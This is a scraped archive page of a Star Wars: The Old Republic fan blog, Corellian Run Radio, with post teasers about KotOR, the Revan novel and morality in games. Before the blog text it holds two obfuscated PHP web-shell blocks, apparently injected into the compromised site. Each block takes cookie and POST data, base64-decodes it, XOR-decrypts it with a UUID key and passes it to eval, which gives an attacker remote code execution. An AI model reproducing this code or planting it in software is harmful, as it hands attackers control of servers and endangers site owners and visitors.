$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Knights of the Old Republic – Corellian Run Radio
Feb 012012

By Daniel Sperelli

The galaxy is a big place with billions upon billions of beings spread throughout it’s vast distances.  There are countless worlds and locations of note populating the expanse of the Star Wars Universe.  In Star Wars: TheOldRepublic, you, as a player, get the opportunity to travel through the galaxy and experience what it has to offer.  Force Lore on Corellian Run Radio will be your guide in knowing who, what, when, and why of the galactic storyline and what makes it tick.  Set your navicomputers and let’s make the jump into the heart of this!

Continue reading »

Dec 282011

by Thom

On a whim, and as a special ‘last column of the year’ gift, I decided to ask some people on the Corellian Run Radio Facebook chat to give me some questions to give my personal unabridged opinion on. And it turns out it can give great insight to my own views! So, order up; reader questions!

To continue reading Thom’s Thought Transmissions, click below!

Continue reading »

Dec 072011

by Thom

Welcome everybody to another Thought Transmission! Because of the massive amount of spoilers that this article generates concerning KotOR, Revan the novel AND SW:TOR, I do not want to give you anything to skim over before you actually started reading this article, if you are planning on reading the book yourself, or if you have still not played either game yet and do not want to be spoiled up front. With that disclaimer up front, on with the show!

More Thom’s Thought Transmissions and Comments after the jump.

Continue reading »

Sep 172011

By Noah (follow on Twitter @RockstarNoah)
Picture by Brian Bear

For decades developers confined themselves to the idea that video games, like films and novels, could tell only a single story in a single way. But then morality became a consideration, and the basic construct of narrative was changed in a way that no other medium could accomplish.

By allowing players to have moral judgments in games, developers began changing the very structure of the narrative in video games.

More Children of Ideas and Comments after the jump… Continue reading »

Aug 162011

A look at the Star Wars Insider Revan novel excerpt, focusing on how Revan’s character will be handled in SWTOR and the novel.

by Mark Pajor (follow @mpajor on Twitter)

This article contains SPOILERS for the 2003 game Knights of the Old Republic.

Who is Revan? Everyone who has played KotOR (Knights of the Old Republic) has a different answer to that question. Like with Commander Shepard in Mass Effect and the Hero of Ferelden and Hawke in the Dragon Age games, Bioware’s interactive dialogue system lets the players define Revan in any way they please. How, then, can the non-interactive Revan novel satisfy every fan of KotOR? How can one defined character of a book convey the infinite possibilities of Revan? With the first excerpt of the Revan novel in Star Wars Insider magazine, perhaps our questions can be answered.

Continue reading »

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.